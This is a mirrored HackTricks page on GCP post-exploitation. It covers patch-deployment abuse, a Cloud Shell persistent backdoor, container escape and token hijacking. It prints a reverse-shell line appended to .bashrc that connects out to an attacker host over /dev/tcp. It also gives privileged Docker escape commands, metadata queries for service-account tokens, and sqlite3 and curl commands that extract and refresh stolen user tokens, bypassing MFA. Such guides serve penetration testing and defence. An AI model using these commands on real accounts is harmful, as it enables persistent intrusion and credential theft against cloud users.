mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00

carlospolop 325643f5f9 change support text

2022-09-09 13:28:04 +02:00

8.4 KiB

Raw Blame History

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
Discover The PEASS Family, our collection of exclusive NFTs
Get the official PEASS & HackTricks swag
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
Share your hacking tricks by submitting PRs to the hacktricks github repo.

These are useful techniques once, somehow, you have compromised some GCP credentials or machine running in a GCP environment.

OS Patching

If you gain access to a service account (either through credentials or by a default service account on a compute instance/cloud function) if it has the osconfig.patchDeployments.create permission you can create a patch deployment. This deployment will run a script on Windows and Linux compute instances at a defined interval under the context of the OS Config agent.

Automated tooling such as patchy exists to detect and exploit the presence of lax permissions on a compute instance or cloud function.

If you want to manually install the patch deployment run the following gcloud command, a patch boiler plate can be found here:

gcloud compute os-config patch-deployments create my-update --file=patch.json

Google’s Cloud Shell

Persistent Backdoor

Google Cloud Shell provides you with command-line access to your cloud resources directly from your browser without any associated cost.

You can access Google's Cloud Shell from the web console or running gcloud cloud-shell ssh.

This console has some interesting capabilities for attackers:

Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance.
Said instance will maintain its home directory for at least 120 days if no activity happens.
There is no capabilities for an organisation to monitor the activity of that instance.

This basically means that an attacker may put a backdoor in the home directory of the user and as long as the user connects to the GC Shell every 120days at least, the backdoor will survive and the attacker will get a shell everytime it's run just by doing:

echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Container Escape

Note that the Google Cloud Shell runs inside a container, you can easily escape to the host by doing:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.

Moreover, notice that from the host you can find a service account token:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

With the following scopes:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Token Hijacking

Authenticated User

If you manage to access the home folder of an authenticated user in GCP, by default, you will be able to get tokens for that user as long as you want without needing to authenticated and independently on the machine you use his tokens from and even if the user has MFA configured.

This is because by default you will be able to use the refresh token as long as you want to generate new tokens.

To get the current token of a user you can run:

sqlite3 ./.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

To get the details to generate a new access token run:

sqlite3 ./.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

To get a new refreshed access token with the refresh token, client ID, and client secret run:

curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Service Accounts

Just like with authenticated users, if you manage to compromise the private key file of a service account you will be able to access it usually as long as you want.
However, if you steal the OAuth token of a service account this can be even more interesting, because, even if by default these tokens are useful just for an hour, if the victim deletes the private api key, the OAuh token will still be valid until it expires.

Metadata

Obviously, as long as you are inside a machine running in the GCP environment you will be able to access the service account attached to that machine contacting the metadata endpoint (note that the Oauth tokens you can access in this endpoint are usually restricted by scopes).

Remediations

Some remediations for these techniques are explained in https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2

References